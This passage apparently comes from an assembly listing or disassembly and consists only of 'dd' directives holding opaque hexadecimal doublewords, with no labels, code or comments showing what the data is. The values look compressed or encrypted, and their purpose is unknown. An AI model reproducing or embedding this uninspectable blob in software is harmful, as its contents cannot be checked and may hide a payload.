3780E838h, 0B1142FA4h dd 80A4D6FEh, 22307F0Eh, 0E78A86E2h, 20489271h, 1498E9F2h dd 0AB3E720Dh, 0B28021FCh, 48AFD8C9h, 553CC0F5h, 0A701FC69h dd 1BC9E9Ch, 9EC938Bh, 5CEA07E1h, 0E16A8881h, 61338E78h dd 0A699F0A8h, 0F470B901h, 7E1E8B38h, 0F9CCC4CEh, 0B784C0CEh dd 83C90278h, 795DAE64h, 38608042h, 6043BDF3h, 0C630FDB2h dd 48FB00B6h, 0BBCEB13Ah, 884A319Dh, 3B23842Eh, 0D13A0A02h dd 41D490ABh, 0A570001Dh, 8B848CFDh, 0F4EC5F40h, 3D4D2109h dd 2D6980F5h, 33E6D78h, 17699BCFh, 81F41C14h, 2E9676Ch dd 0F68498AAh, 8120492h, 911F71DAh, 0E0AA427Ch, 5F1D361Bh dd 2243A2EFh, 14AF7h, 0AF54E920h, 6975E38Dh, 16E9938h dd 0F16F5F6Bh, 0EBF4D7EEh, 14200D4Dh, 336904AAh, 30FAA264h dd 87184879h, 0C1990271h, 5CD1005Eh, 0B6CD2395h, 0B80FE0DEh dd 20279DEDh, 0D42EE76Ah, 4FA109D0h, 0F897F0AAh, 9F826491h dd 5040B68Bh, 0F92644AFh, 6B4098DFh, 802770F6h, 9525980Fh dd 5340E1Ch, 0DC54776Eh, 6840004Ch, 741E2299h, 3A19D273h dd 3923E0h, 0DEDFFC2Fh, 7700D250h, 3D5C5B10h, 0A445173h dd 5464867Fh, 632444B0h, 6490B874h, 7D3643CDh, 907AF38Bh dd 3D9CF382h, 414A1E3Dh, 37ADE8B4h, 27E041E1h, 0B3D760D6h dd 79DD9D3Eh, 241EF1D3h, 0F27408h, 0A1B85993h, 9807E2CEh dd 0B49252D5h, 236516D3h, 78303E98h, 0AC9D649Ah, 0A9F344FCh dd 48ABA01Fh, 771EEFC0h, 3421D2Fh, 0E53FBD89h, 9804E26Bh dd 66C2787Ch, 9550CCC1h, 3C1D99A5h, 1181AE11h, 319239CFh dd 13CEF48Dh, 8CC030FDh, 0A87D0D01h, 3DF5883Eh, 62BC3838h dd 300F343h, 243E59B3h, 1C24E6F4h, 0A06FB497h, 0B92F051Dh dd 0FD680984h, 648E907Ch, 895E6604h, 7443C828h, 0F936C09h dd 0B88441E3h, 74079E71h, 0B832B2B5h, 0DC753127h, 0C5246491h dd 0A658B436h, 18AB3D7Bh, 9F93AA02h, 90C53C54h, 30BCF832h dd 67092A98h, 0C555DE91h, 0C02900B4h, 11D1A22Ah, 0D79D2Ch dd 32D5270Fh, 19C804CBh, 0FC995EC0h, 0C070F95Dh, 0F01E4CABh dd 876790Ch, 4E028029h, 5AB05F05h, 0D3948283h, 57B60030h dd 742401A3h, 467EC466h, 0B5820038h, 29C37B08h, 0E0985CD4h dd 0FD27516h, 0EF2D7118h, 38404788h, 0CC1FB0C0h, 3D0D2188h dd 0C602DA91h, 0BF4B1FB8h, 4A98D663h, 1831066Dh, 41935875h dd 6255D6E0h, 0CD541067h, 88AF0840h, 1778AB25h, 8066918Ch dd 0D1645A23h, 2F9109EEh, 28216197h, 238BBCD7h, 0F17AE174h dd 0CA05D00Ch, 0E9FD888h, 0F072D000h, 2E06E2D1h, 1C0167Ch dd 0A3D23BFEh, 0A0B9E4A9h, 26CE8101h, 796E3018h, 27BC1468h dd 2111248Ch, 6DEB0FB2h, 51819D61h, 58A43DE4h, 90362208h dd 3E8B780Dh, 53F860A6h, 63A1A079h, 0B1F40DF3h, 15BB00AEh dd 4A5CB6A6h, 0F64C5BFDh, 5DB44C4Ch, 0FBD08220h, 0F02A237Bh dd 941B4805h, 0BC002D08h, 7F818B78h, 98A10253h, 7D0A79AAh dd 16600227h, 0B55D1F5h, 1C9EF428h, 0F054AC81h, 4458CED8h dd 5C483898h, 0E51410D8h, 0F3430DF8h, 81B40300h, 0ACC5831Eh dd 0DA4AB91Fh, 742C6F40h, 0A82084D9h, 0C79EBCh, 0FD883DD2h dd 0FFEA719Ch, 0E0B05E00h, 102B915Bh, 95F0961Ch, 917B8427h dd 0E9AD78FCh, 758F0086h, 654D714Eh, 8AE2DB6Bh, 7850D074h dd 0E0A772A8h, 18F16442h dd 0A748CBBAh, 66F910E0h, 0EB86570Bh, 0F4EFF8A4h, 0A5240EDCh dd 710C5C03h, 5B9B924h, 33AD300Ch, 72F80158h, 3769262Bh dd 5D19B02Ch, 0B6B500D0h, 0B88B19Dh, 0D100A007h, 0F170DED7h dd 95E0AECh, 0F351EEF5h, 6491CC17h, 6F324080h, 4430065Ch dd 56F6F0CDh, 3D7C0020h, 0CE70BFC3h, 9AECD190h, 72025802h dd 7284627Fh, 86360724h, 0D0E3E6E0h, 1EE5EDCh, 634C520Eh dd 0A00D80F9h, 0FA6A9AEh, 0A5702666h, 0BBCAA7A0h, 0B447195h dd 0A3A60297h, 8839B9B5h, 18600849h, 221F3FB2h, 1618BD23h dd 0BAC421h, 0BD7021Fh, 0EEFEC614h, 787F1B24h, 62DC456Bh dd 0BA18F160h, 0C22701FFh, 0FEC55008h, 258822DFh, 69382076h dd 3A3A349Eh, 878F84EBh, 0CD808C22h, 0D503BB37h, 0D65CA005h dd 0AC006041h, 8E78CE21h, 2534B669h, 2711D417h, 592FEA80h dd 1203983Ah, 67D06BBDh, 0E8500B11h, 74990895h, 40E187Ch dd 1D88CE10h, 15333Dh, 1FB6C821h, 74D4DD41h, 5AE1C10Bh dd 0EC1880EAh, 0DD6BFDD6h, 0FB8709C0h, 0D0F98422h, 0A8987C52h dd 3049F720h, 0EFB15687h, 3F72F938h, 0ED4EDB07h, 2D83CADCh dd 0B9BE2EE2h, 61150h, 0A6FC2927h, 49AE6282h, 5862BC95h dd 0ECF24D47h, 80E8BB54h, 8AD09900h, 21D11ED6h, 84C218F9h dd 0AC397962h, 0B70D0B07h, 0B270512Ch, 2C0B301h, 0FAD87AEBh dd 944DDCE1h, 0F734E7C1h, 4E35FC20h, 38044B75h, 0D20A24A0h dd 0A7126D57h, 0A0C8AAD7h, 0DF8E0442h, 0C0FB1237h, 0ADD009C4h dd 10986777h, 6A18F101h, 356F0FEBh, 0CDE8488Eh, 2BAC184h dd 55E383Ah, 0E98F0660h, 551578F8h, 881C78BDh, 0B9180A79h dd 2FFD82ACh, 0FBE0CCD1h, 2325EDE9h, 91B8179Bh, 497582FBh dd 3C08F20Bh, 533EEA67h, 4E68784h, 79CC5F7h, 2033EC6Dh dd 0D52DF04Eh, 597BFD18h, 4C299CE8h, 3ABC8088h, 5C71128Ch dd 0DC3900BBh, 41449F91h, 76B0F0C5h, 4B3A286Ah, 8BC56480h dd 22307E23h, 9FAD5F0Ch, 0F33A85Eh, 5CE951E0h, 0AE6947C0h dd 92121162h, 30A0509Fh, 1A559066h, 96CCB387h, 0AC19C0C0h dd 30F79180h, 672857E0h, 19C515DEh, 5C907E71h, 9962382Dh dd 2B983424h, 34848504h, 1D0B4A0h, 0A72EAE07h, 0E0CB04D1h dd 0D400D819h, 0C60BD2B9h, 0EDDA01EAh, 0C8B7D0h, 6DED7396h dd 0B2F59EE0h, 0C07A9901h, 0F7ACE89Bh, 5118F0h, 3C243D94h dd 601ED3Fh, 0BF13DD16h, 0BA31BE01h, 0ACF849DCh, 2D400077h dd 2A7AB324h, 3D00A654h, 96EFD008h, 1516F42h, 668243C9h dd 0F4982458h, 0E13F9A11h, 0F88405D3h, 82FEC872h, 0D740E2EDh dd 38E0A49Ch, 0A2250800h, 0A1CC033Ah, 5DD8000Eh, 0C8F55BE8h dd 0BE00F851h, 3559F0CAh, 22DA2Fh, 64D584DDh, 97EF9354h dd 90007FECh, 0F7A66173h, 1FE44A42h, 0F80C5F4h, 79C0630Eh dd 16446C31h, 2F3EA000h, 0D0C88EC7h, 11FC62h, 799B35CFh dd 9D38922h, 0E06EE0CEh, 25AA58D1h, 0F82600C4h, 2145FA10h dd 991C6780h, 3E00CE19h, 3933A331h, 0BFAC0074h, 8B8F171Bh dd 0F8025096h, 0D3A65F43h, 0BDE4A188h, 6FDC3EADh, 25E7300Eh dd 0FF2BDA68h, 8D014CF0h, 0D6F03DEFh, 29C482A3h, 0E152E4C7h dd 234100CBh, 108F3FACh, 83070F74h, 0C5DD638Bh, 0AE827D13h dd 529B0050h, 0D20304C2h, 4F00A9E2h, 317B3F43h, 37F19BEh dd 8D3D6E6Ah, 0F580CD3Ch, 2B26CAE7h, 9E0009B3h, 917F6F44h dd 0AF6D005Ch, 0D102287Dh, 68E88C7Ch, 0C4156703h, 0B082B84Fh dd 131EC46h, 0AC33180Ch, 0CC27BF7Ch, 0F9A03230h, 5E00BAFAh dd 0AB908342h, 6136946h, 4501EC72h, 0BC0F5050h, 402F9F99h dd 1D5E5991h, 39EF0124h, 0E0E8B3FDh, 0C28BFCC6h, 0B5531E00h dd 0A56170FBh, 8E9100EEh, 0ABF8BC85h, 0CB2ACE57h, 7290908Ch dd 802A80Eh, 21A4608Dh, 2FDE16h, 878C38F2h, 9E9F7F74h dd 0CAF4E8E9h, 7E2C3B00h, 5299BA42h, 0D7103E59h, 5BACA380h dd 5ED6ED6Eh, 738C4301h, 0E0142B47h, 5E8BEE8h, 0FC595AEAh dd 34D00409h, 0ADA7406Fh, 27B9422h, 0F80611D9h, 18402547h dd 0CA00A5C5h, 0E49B0162h, 61BD2Bh, 0EFDD7DABh, 99876C42h dd 0D490A9F6h, 0F618E37Dh, 0F3B82E5Dh, 1121075Ch, 0F1E76447h dd 0C4156057h, 0E12C426h, 34002F86h, 9CE8698Ah, 0CAB20B70h dd 749012B4h, 0EA0027ADh, 2B799A81h, 12893DACh, 0F83EE4h dd 0BCFA38ECh, 0B83FA2EBh, 0FFB000Ch, 0CDD1E33Ch, 3A6B3ABBh dd 351AC080h, 8450F976h, 7781170Fh, 38D9414Bh, 79FC57F6h dd 3B1BE026h, 1500377Bh, 0CBA860E4h, 64009BBCh, 9EB3E547h dd 0C845B4h, 0D62BE78Ah, 2856B24Ch, 6B6FA218h, 13B9419h dd 0FA1AEDF9h, 0DF05E075h, 708D80A7h, 810021E9h, 99495F64h dd 7AE4B0h, 52BFCD08h, 0CA3E7135h, 770089B8h, 4F536336h dd 6F911FEh, 0E95B3FA3h, 0BB002108h, 7BE2B7C2h, 709B587h dd 63FA7662h, 36D1B2FFh, 0A500D058h, 722AD3E5h, 0FE15564Fh dd 0A3380018h, 1E66EF42h, 0E7E64474h, 9BC99303h, 98F0177Ch dd 2A3E59h, 3DDECE3Ch, 0CC25DB31h, 9D27AE00h, 785C8C6Ch dd 4F9600C9h, 0E9F91A69h, 9C80F3D7h, 2CDD00E5h, 95963170h dd 0F51D3EC8h, 0DAD49BDFh, 0AE4A7E97h, 0F3518D00h, 0E782E70h dd 5E91F0CCh, 0E40C1119h, 8C0002CDh, 0D9817BA1h, 2057343h dd 38FDBCD2h, 4C008A5h, 660020CEh, 0BEF4C662h, 0E2398245h dd 34B2CAh, 4AA8BD3Dh, 53FFD88Dh, 0C63B6200h, 366BB414h dd 0BB1E8F4h, 324E1CFCh, 83CCE080h, 7E004512h, 62FE7D94h dd 2C47887h, 9C896FDFh, 2FC0AFE7h, 7700DC3Eh, 264DF3EBh dd 8FF7EAh, 0CEACFCE5h, 754284BFh, 15A9C000h, 437E86EEh dd 80460F4Fh, 96E05759h, 539ABF5Fh, 0C3790800h, 0C70A481Dh dd 33BFE03h, 0CD8E3C77h, 69A87516h, 4700BA20h, 6EEC1036h dd 7DBFFh, 1A421DA0h, 2E9E5260h, 0DF962303h, 2FF2D5F1h dd 0B7700320h, 10DD3B00h, 0D21772F6h, 9CFE7Dh, 0DA71EBB1h dd 5BAA0525h, 0A330A500h, 1F1CEA78h, 415400CCh, 629EDC81h dd 2500570Ch, 8B997F63h, 0F52030h, 0E8EAE2ECh, 0BBA59A60h dd 44D39B00h, 0C2F12AB4h, 656916BFh, 0AE8F0093h, 0EFEBF5CDh dd 0B08EBA00h, 349CF8EAh, 26F20156h, 7C7D0795h, 0C470CC48h dd 98927F71h, 0D9B54400h, 89AA0927h, 0B7A11C29h, 31754157h dd 0F52A12D7h, 95206051h, 0DC4F1E03h, 0D9B941ECh, 9B40DAB0h dd 0F05A36h, 0A0197B6Bh, 9C97A68Ah, 19F492Ch, 0FE186E03h dd 0E500A7F1h, 1219D5DAh, 0A211DFE6h, 43137CBCh, 9101F99Fh dd 1E0E34A1h, 0FD7312FCh, 980D7ED4h, 86BD00CCh, 0CFD06A98h dd 1F26D175h, 970084F4h, 19D74B8Bh, 12C400F1h, 74686089h dd 0FB071FFEh, 0E416945h, 0E1B84302h, 120DCD7h, 8A4E0014h dd 51E83482h, 553AAE91h, 6CA8097Ch, 284C5A2Bh, 1EC3A0EBh dd 47BD6706h, 0D1BB6566h, 6D2B7270h, 58D217B4h, 888070C7h dd 0E8224CA5h, 244D005Dh, 7182C62Bh, 5B00B216h, 958B73A7h dd 0ED5FC5h, 0DF8650D2h, 64D44220h, 0EC904001h, 8A3A72B2h dd 46E94084h, 0BCB090F4h, 99C01119h, 6264FA69h, 541E0A93h dd 104056D3h, 72CF00F0h, 16935E35h, 917D0554h, 1C2C6CA9h dd 2C49946Ch, 0A85660Bh, 56EAB580h, 0BA00EEC9h, 98ACE6C5h dd 786CBD4Eh, 0A23B006Dh, 0F5076714h, 120F6E1Eh, 0AEC85C4Ah dd 1FD4274Eh, 0B1F15770h, 357600E9h, 9F7C03DDh, 0DF00A993h dd 8261B290h, 0BB75E8h dd 2CF001EBh, 86046E18h, 7789C00h, 0CAAB19F9h, 4302009Bh dd 0D60E1D2h, 600808Fh, 0CE7B20BAh, 0C3B7DAAh, 32D7EF64h dd 0B3EE1902h, 8708C506h, 3E06ADBh, 319FF471h, 748116CAh dd 13E06D8Eh, 30E2F069h, 7595D603h, 0C3BF3B1Dh, 17C1D739h dd 74C2C40h, 195E1F93h, 509940Ah, 0EE40E048h, 1CF6177Ch dd 0E0B012E8h, 204365Ch, 0F3040AEAh, 8C865400h, 70B7B2Fh dd 804F88BAh, 0F76FB78Ah, 4F344E84h, 7CB01B5Ch, 1267423Ch dd 0ECE0151Dh, 37903087h, 0E76B828h, 8CEB3D3Bh, 5940976Fh dd 0A810190Fh, 100D7812h, 0E59681BFh, 0AAA8142Dh, 7B1078D8h dd 0E17C00A9h, 0F9649967h, 1200937Fh, 65986DFFh, 0C0AB7AF6h dd 210F1020h, 7600A01Fh, 0D4B7FBD6h, 0A6F020h, 0BDA3298Bh dd 9D3DC5D2h, 0F7D9B103h, 0B91989FBh, 91209AC0h, 673C0024h dd 86CF0DA7h, 210E5B18h, 0A17304EAh, 2978D35Ch, 440E6ECh dd 79ACDD06h, 0E9F4801Dh, 0A000BE72h, 0B5A44E0Eh, 0F23F70Fh dd 0A78C8A36h, 0CC080A03h, 0D4016790h, 0D2B0BE03h, 80AF06CEh dd 2E4C9F9h, 0FBF6FA4Ch, 0D0608F8Dh, 7F05371Bh, 0A4B19AF0h dd 7CDD6D80h, 0A0E8ADh, 3BCE288Bh, 15E5278Eh, 9E839C00h dd 56B59B5Fh, 8CA00F3h, 1D9AC2EDh, 0F600FD6Ah, 76246170h dd 0E6BF94C0h, 7AB300D8h, 0D43C548Bh, 0BEF02507h, 0C3AC4800h dd 3ADCD250h, 8761025Ah, 1B9E8B9Fh, 13DFCCA2h, 3037A858h dd 4710598Ah, 0F0BD668Fh, 0C61D00ACh, 7FE3F851h, 905CD9E9h dd 2BB41C74h, 91A45980h, 0C0EC718Bh, 74108A51h, 0E4CFA3Dh dd 148900A8h, 57F6707h, 0F4EB039Ch, 7C650A8Eh, 23B009E3h dd 2F00856Eh, 0BD4626F8h, 1E86F31Ch, 4971819h, 0C064B594h dd 98DD0C0h, 0E4EE800Ch, 3D5A966h, 0A5936E49h, 0BC89C6Fh dd 4D30BC87h, 0CE13B0CAh, 7C902B1h, 48686436h, 29078050h dd 0BA3E2549h, 6ECE8FD0h, 4FF600E4h, 3D340D36h, 673D9A74h dd 0DAB1805Eh, 0C6DEF11Ch, 715ECEAh, 0E058AD1Bh, 922AB08Ch dd 3F037B0Ch, 7423CCE4h, 2FAFC86Eh, 72380E87h, 3AE0EE61h dd 0CC51182Eh, 8CA6B300h, 7CBDA52Ch, 0C5BF13ACh, 4AA8400Eh dd 0BA3FF22Eh, 9D7B0A01h, 55CCB078h, 0D634C8h, 0D8B77A52h dd 9AF6E571h, 60082600h, 783B7C91h, 0EC7512h, 0C13A4F3h dd 72B9D138h, 0BCE871F4h, 0E0DB0700h, 7718C602h, 4BFE04F9h dd 800DEE65h, 1FE7DC7Bh, 0FA79B3F6h, 0C5B0F800h, 33CEAA9Eh dd 68FE46h, 5F8EC1ECh, 69A925ACh, 90617300h, 0F096061Dh dd 4CCE01FAh, 0EC05028Ch, 0EDFDFCB8h, 0CF626501h, 6B9C808h dd 2BA720h, 40C94EAEh, 0E2814AD8h, 3FBB4Ch, 8B9272ABh dd 42EC69Dh, 1095641Ah, 404880DBh, 0AC2423B6h, 281E2C50h dd 26A7D980h, 92D8C50Ah, 0D5F478h, 0A8878245h, 44F5BE3Bh dd 0C5E10700h, 0F788DE8h, 0E006186Ch, 218B10CBh, 52F5360Eh dd 0A0D22F5Fh, 0AD496FD3h, 0A28F003Fh, 969DDEDBh, 84092E6Dh dd 7F4260Dh, 2DF0BD34h, 0A0BCBAB2h, 41F0C2DCh, 754C40E9h dd 0AD07834Fh, 22053A59h, 0A0AE5077h, 0B70BE856h, 922B026Bh dd 2AD6944Ah, 0F80547Bh, 0C3A1E8EFh, 87140021h, 18F8C276h dd 9E3E5EA0h, 9F8F0012h, 0E247E79Ch, 370200CCh, 26AD3FD3h dd 6700E0AEh, 0DC069157h, 3081C43h, 4832E980h, 86E862C8h dd 68006DA5h, 47BC96C7h, 0E2729F58h, 0C14D196Eh, 0C30A58B6h dd 0D51B0480h, 1324AC01h, 0F08181Ah, 607CC4h, 0FBBAFCC1h dd 0B9BBFD23h, 753B5107h, 0CDC0354Ah, 2270B03h, 6E6AB679h dd 0DC409483h, 7A071BD1h, 0B5C4D4DCh, 0BDE2E6B0h, 0F7CD0E14h dd 21002006h, 0C0EC2961h, 86717813h, 0CADE2040h, 1F396B13h dd 0DC5BAE90h, 11650F3Ah, 18FFAA60h, 0CB0042FAh, 2BA0DF15h dd 0B7F685h, 9CBA9B45h, 2DD32125h, 67503B00h, 7D720E92h dd 0AA970E31h, 0AD6906ACh, 1696E880h, 0E0003EB5h, 0B91BE6DDh dd 28BC9F8h, 8CEB6AA2h, 0D8C06ED6h, 2309D0FEh, 48611E0Eh dd 366864h, 16A1C10Fh, 7B597018h, 605BEA00h, 95256BBDh dd 94A0F5Ah, 1F80D878h, 1C93AE7Fh, 2087B600h, 8C0772BAh dd 0BB82302Ah, 9CE2D118h, 0DFB7A501h, 0C35BD632h, 1FBE29C0h dd 2441CCC4h, 0B0658080h, 0C73B0AAEh, 9F7C989Ah, 0E2C9FF0Eh dd 601803DAh, 7EC40008h, 86ED80DFh, 9490D752h, 5A88FA00h dd 0DA09D63Ah, 66FE00FCh, 0FF239B79h, 0CF00C620h, 88DC2561h dd 76391082h, 1EEEAAh, 0C7A33099h, 962CD1F6h, 151F9802h dd 61063304h, 0AC69942Bh, 0E8E7D60Fh, 88C81F85h, 4C00102Ch dd 1B11CC95h, 32C034h, 38D75E7Ah, 0E4631373h, 75486001h dd 4BF66142h, 3BCDD3D8h, 0AA925B30h, 88F70026h, 0DCE206E6h dd 8E002098h, 2F72A901h, 4AD72Eh, 7D94140Ah, 0B0E79DFDh dd 4D8E6500h, 0AEA2E637h, 91B900BEh, 0C464C06Dh, 2D001652h dd 0BF750BC8h, 77F65h, 9BFDBA0Dh, 71D2FC8Ah, 0E7000575h dd 4ED0F49h, 0B81CD643h, 0EFA100BEh, 935C9475h, 0DD00B0AEh dd 7ADA34E5h, 823508h, 99F63BA6h, 1349EAB4h, 7EEC3Ah, 50400363h dd 11CC181h, 0ADFA91C2h, 0D841570Fh, 23006156h, 1832D9C8h dd 1138FD2h, 9D6D952Fh, 0E0D50D64h, 7B00E314h, 9B4A15Ch dd 2773CF03h, 0AC87E2E0h, 7F6D9067h, 28507E9Eh, 5D0060C0h dd 0B9A258A7h, 24EFD15h, 55FE06CFh, 9040BFA4h, 1C00DEF4h dd 0F11F0299h, 0BD3AF9h, 0A634DB8Ah, 847AA488h, 0A90ACA00h dd 0B17EA5B8h, 5D91000Fh, 1C746990h, 0CB0128F7h, 37B74F8Ah dd 0B1DC479Fh, 641400C2h, 661B6D75h, 39E48450h, 1F2A43Ch dd 45B4F01Eh, 0EED41494h, 55640063h, 0D2115F6Bh, 469EDA2Fh dd 4D019400h, 1B0E9D9h, 214F74EFh, 206F5D58h, 0D7000534h dd 86685A5h, 13ABC1EEh, 16C02AC4h, 0EF4080DFh, 0E3B741Fh dd 6339170Ch, 2F855C04h, 42F4FC43h, 0D3110F8h, 0B4B0F000h dd 7807B652h, 9A6A2516h, 4749F897h, 1A8080F0h, 0A9D5C67h dd 0E000624Bh, 0E90B64D9h, 8B949648h, 0F872036Ch, 55769700h dd 541E9166h, 0C0A2378Ah, 0C08E8718h, 67015ED1h, 0D0A2D07h dd 4EE079DDh, 1E83176Ch, 166EE7Dh, 0FCD18C5Ch, 374FF09Bh dd 0C5874500h, 88B64391h, 0D40FB7E0h, 0D3556600h, 0F5606516h dd 806F0E89h, 1250BA0Ah, 36D97F2h, 23276705h, 0FC8562B1h dd 86B064C2h, 10604554h, 0AE201542h, 7BC86F64h, 840034E3h dd 0EECEADDEh, 8B0F4E94h, 0E0152C93h, 80ACE63Ah, 31740E48h dd 0ABE0D03Bh, 5550EA18h, 9C89F000h, 0B70E28B6h, 0F97A99h dd 53E99EADh, 597A6D60h, 6AD93003h, 0A8E079F0h, 9A0201h dd 138BAFB9h, 424E04DAh, 6525700h, 341EDD4h, 565800A8h dd 0A4DE932Ah, 9A1D61F5h, 0E8C7D5E2h, 11A0E3AAh, 981FC9A7h dd 0EE900CEh, 0B2DA17B1h, 411CA2A8h, 0B5C0D105h, 0F7AC4B9Ah dd 0F8B0BE01h, 76000735h, 0CD08C6F5h, 7C032826h, 387C7Eh dd 423CDD83h, 0E83FF28Dh, 0C73AA300h, 0DF6EA4ADh, 0DEE865h dd 0F66D0224h, 0CA720B35h, 0E809F30Eh, 214E84E5h, 0D88878A8h dd 932CFC0h, 9F0E90EAh, 0AC1CE814h, 8B023227h, 20EDAA43h dd 9D4E3AD0h, 0F0B00200h, 2FEABACFh, 66A17F3h, 6EC4A034h dd 0D0E73604h, 0ACFC73ADh, 3A00584Ch, 1162C23Eh, 0FCA83B81h dd 0C65E688Ah, 8DD67480h, 0C44E4Fh, 26653A8Ch, 0DF4ED072h dd 0DA51A0C0h, 6FB81416h, 3EE02086h, 5E862ECAh, 0C04CDA3Dh dd 3A093034h dd 38F71091h, 0BB7D5062h, 2A299D3Dh, 0D600DC78h, 91AAB780h dd 10E7DAFh, 76819BEEh, 0FC628915h, 0FA27AE25h, 76CC316Bh dd 23102E6Eh, 5CEA0038h, 267845C2h, 0ECCB0D03h, 0D029A6h dd 937F660h, 0B3D5F45Eh, 0DCD148h, 788B7A33h, 95395107h dd 0DE7BB099h, 0F18F8957h, 0A1AC6068h, 4974DDABh, 8C5D6B0Eh dd 1A9243E5h, 0FA7BA942h, 0F7D8F000h, 54C7084Eh, 0F6788AD0h dd 703DF109h, 0BF247280h, 0B709F75Ah, 0F93CB953h, 18DB7178h dd 0E860EB0Dh, 63230347h, 5CBBADEAh, 3485885Bh, 25236C2Fh dd 9B224800h, 7E3CD07Fh, 647913D5h, 1CD0E4FDh, 1873D318h dd 0A87C0AD0h, 6634F8h, 776444A2h, 0D327CBB2h, 0CF012898h dd 6D1A19Dh, 90D49C67h, 0F88EFACAh, 8A4B02ECh, 1FBB4663h dd 404E3074h, 0C74E2B7Dh, 0E9730053h, 2235406h, 68A55DFDh dd 8D6339C4h, 7C7F22C0h, 0E47090B7h, 0D1C912B2h, 4E841C05h dd 208BBFADh, 378D3C48h, 0A441EF41h, 0AC31AAA9h, 0D4FAFDC5h dd 919C015Ch, 6407526Bh, 0AD1E870Ch, 7506672Ch, 44386111h dd 0AE1280A1h, 50808C3Bh, 9DDCC89Ah, 6508EC97h, 0DA7862F1h dd 7ECA2841h, 0E1132000h, 9D5E9D73h, 65919C17h, 9D81B080h dd 9DFE60h, 13942B4Ch, 0C4E0CFFFh, 1CD1DE69h, 3C4C9F04h dd 425E8004h, 8426F373h, 1F4078ACh, 8808A2C2h, 380725B8h dd 8CA91D1Bh, 0D7B9B2E0h, 649D49BFh, 3AB7D81Eh, 6E00913Eh dd 61238AF4h, 0B201D519h, 6D292666h, 413EC85Ah, 8BFC12Ch dd 0CA698079h, 318B47Fh, 0C00C0187h, 0FB35AFA9h, 72A3202Ah dd 0FFA80712h, 9EE2DC40h, 0E22EED5h, 0BCD6BDFBh, 0A7AE160h dd 0F6006C5Dh, 1ECC7576h, 0C038A15Fh, 627E5878h, 201379BCh dd 2D09B79Bh, 7074D93Dh, 5086E9DBh, 12438342h, 41EEF24h dd 0CA4607D0h, 0A26C5314h, 3811302Eh, 20BBAF00h, 689C3FEAh dd 19C23B80h, 8030DBDEh, 70F434CBh, 0B87D3E2Bh, 5045392Fh dd 0C46025E4h, 6D00F410h, 8B311DFh, 2595D7DEh, 28514D6Fh dd 8A18ACD9h, 290012E0h, 25849B9Eh, 3F60D198h, 0C527C1DEh dd 644294E7h, 0D7C01AF1h, 0E136740h, 0CA0AF8Dh, 699C2087h dd 82160390h, 912439Bh, 78628020h, 9822F3B6h, 0DC71D48Bh dd 7318F779h, 64542601h, 457110C9h, 13C2E16Eh, 83A8D1A8h dd 0B499090Ch, 0EE80C01Dh, 5822B399h, 337ACDh, 7B507FD7h dd 9E137A5Fh, 0C03B7837h, 612D9600h, 4493E433h, 6D3B2705h dd 5AC4C17h, 0F38413E9h, 3ABC98FCh, 0A27D038Ch, 5371CA68h dd 2DA4E2E5h, 0C45CC506h, 67260F0h, 37261DA7h, 85A45767h dd 964801BCh, 239E60EFh, 0E5137170h, 0D837FEA3h, 5F0B82h dd 0B1DE64CDh, 0B7B70C92h, 0C3EC1E1Ch, 0F5DE4746h, 7F274886h dd 6414C88Ah, 1E553E0Eh, 85C8605Dh, 6F7C452Dh, 0D3DD8571h dd 36A232C0h, 1C0BE81Eh, 0E79F901Ch, 0D647D4C0h, 70C1E974h dd 0BD4F75F6h, 7CA572CCh, 7EA8134Ch, 92A00086h, 0F3AB8451h dd 379E84A1h, 7D807508h, 2B5900A3h, 0D302E022h, 0CAF63D2Dh dd 21083566h, 2A8A1221h, 0C0261FE0h, 0BE4D89A4h, 1C075EA5h dd 72DE1877h, 715F8E10h, 0D9CF03C2h, 4A81F711h, 0FF5A2000h dd 0CE17A4D4h, 286F638Eh, 580075F3h, 8785D24Bh, 307BD03h dd 5128F054h, 5CA8C5AEh, 95304F3Dh, 467D2893h, 9BFA1Bh dd 415F14C2h, 86F69F8Bh, 390E2C00h, 0E5D4FB1Dh, 0FA7800EFh dd 0D2A0F065h, 9D7C598Fh, 0F722401Dh, 9F955C86h, 4430151h dd 51A210Dh, 1DED3030h, 218F08CCh, 0D0C005Eh, 0F5AEA3F6h dd 5F3C905Bh, 0E52F00D6h, 59F97721h, 428A49Bh, 1A220D01h dd 2048621Dh, 0F0D0963h, 0AEE16803h, 90581A2Fh, 2A0BA110h dd 28878F4h, 649C075Dh, 80854CF2h, 608444FAh, 403B0FA1h dd 0D25EC69Ch, 65321CE7h, 0FB5B86B7h, 7830698Ah, 0DCA3084Ah dd 0EE23079Fh, 50FAA64Eh, 0E390C53h, 5A381500h, 0F6D2FB7Fh dd 1C593295h, 73061D1h, 211AFA0Dh, 8B912FEDh, 0D0F5D00h dd 4E193905h, 0DEDB5B05h, 0F0036AEAh, 19C9590h, 0E7492929h dd 805078FAh, 9DF64299h, 5A77514h, 656916C7h, 1095102Dh dd 0AA3D3E00h, 5BD6EB78h, 9BC98D14h, 5F9E14C1h, 1C450CF4h dd 539118h, 6FF0720Bh, 0EA173A48h, 2351F200h, 6C4BD409h dd 5944621Dh, 68481C71h, 0B100A16Bh, 0BDD935E3h, 11956A7h dd 8A049FE5h, 2489C787h, 20521428h, 0D09218E8h, 52635949h dd 62F1DC13h, 4AC0CA3h, 827E16Ah, 582C989Ah, 0D6CBC400h dd 4F2548CEh, 2360DC51h, 6B9C0401h, 691824F2h, 4C3488h dd 0E5F1159Ch, 9D682E06h, 67F03091h, 0B82001A3h, 0BFE53FDDh dd 9E28DCB0h, 731F3Eh, 0DA94C1B2h, 30EC10BDh, 1118B825h dd 1200E475h, 58B2228Bh, 31CF9E15h, 0CD210FA8h, 9E3603Ah dd 0EE7DB400h, 0D62B6F4Dh, 5215005Ah, 4D1C3EDh, 0AF3A496Dh dd 1F8060F6h, 0E6A5C16h, 1150422Dh, 409622Ch, 0C73C2050h dd 0CB00E690h, 3817DAE9h, 606C819h, 8B13C364h, 0F2002909h dd 0CCB96CDFh, 1141053h, 3FCFB78Dh, 86092011h, 80F6B8D8h dd 5FB00059h, 8AC33729h, 1900D661h, 73F701A9h, 60E74DC9h dd 0AD2578D0h, 0B740A49Fh, 6D37E1Eh, 82CDE824h, 11E48873h dd 61142530h, 0CB9B410h, 0FEA921B7h, 0DF82944h, 796EF830h dd 19604153h, 0C09C0880h, 7FC998F2h, 7392C21h, 8F700F60h dd 267E911Ah, 0CD81E4FEh, 5E92250Eh, 911A79Ch, 284EB780h dd 30125220h, 7D603A02h, 58315408h, 60523110h, 0FA564A04h dd 1780ACEBh, 0A0C38C57h, 82815EECh, 4020FC04h, 716D6721h dd 747F5050h, 3A190BFh, 42D970Eh, 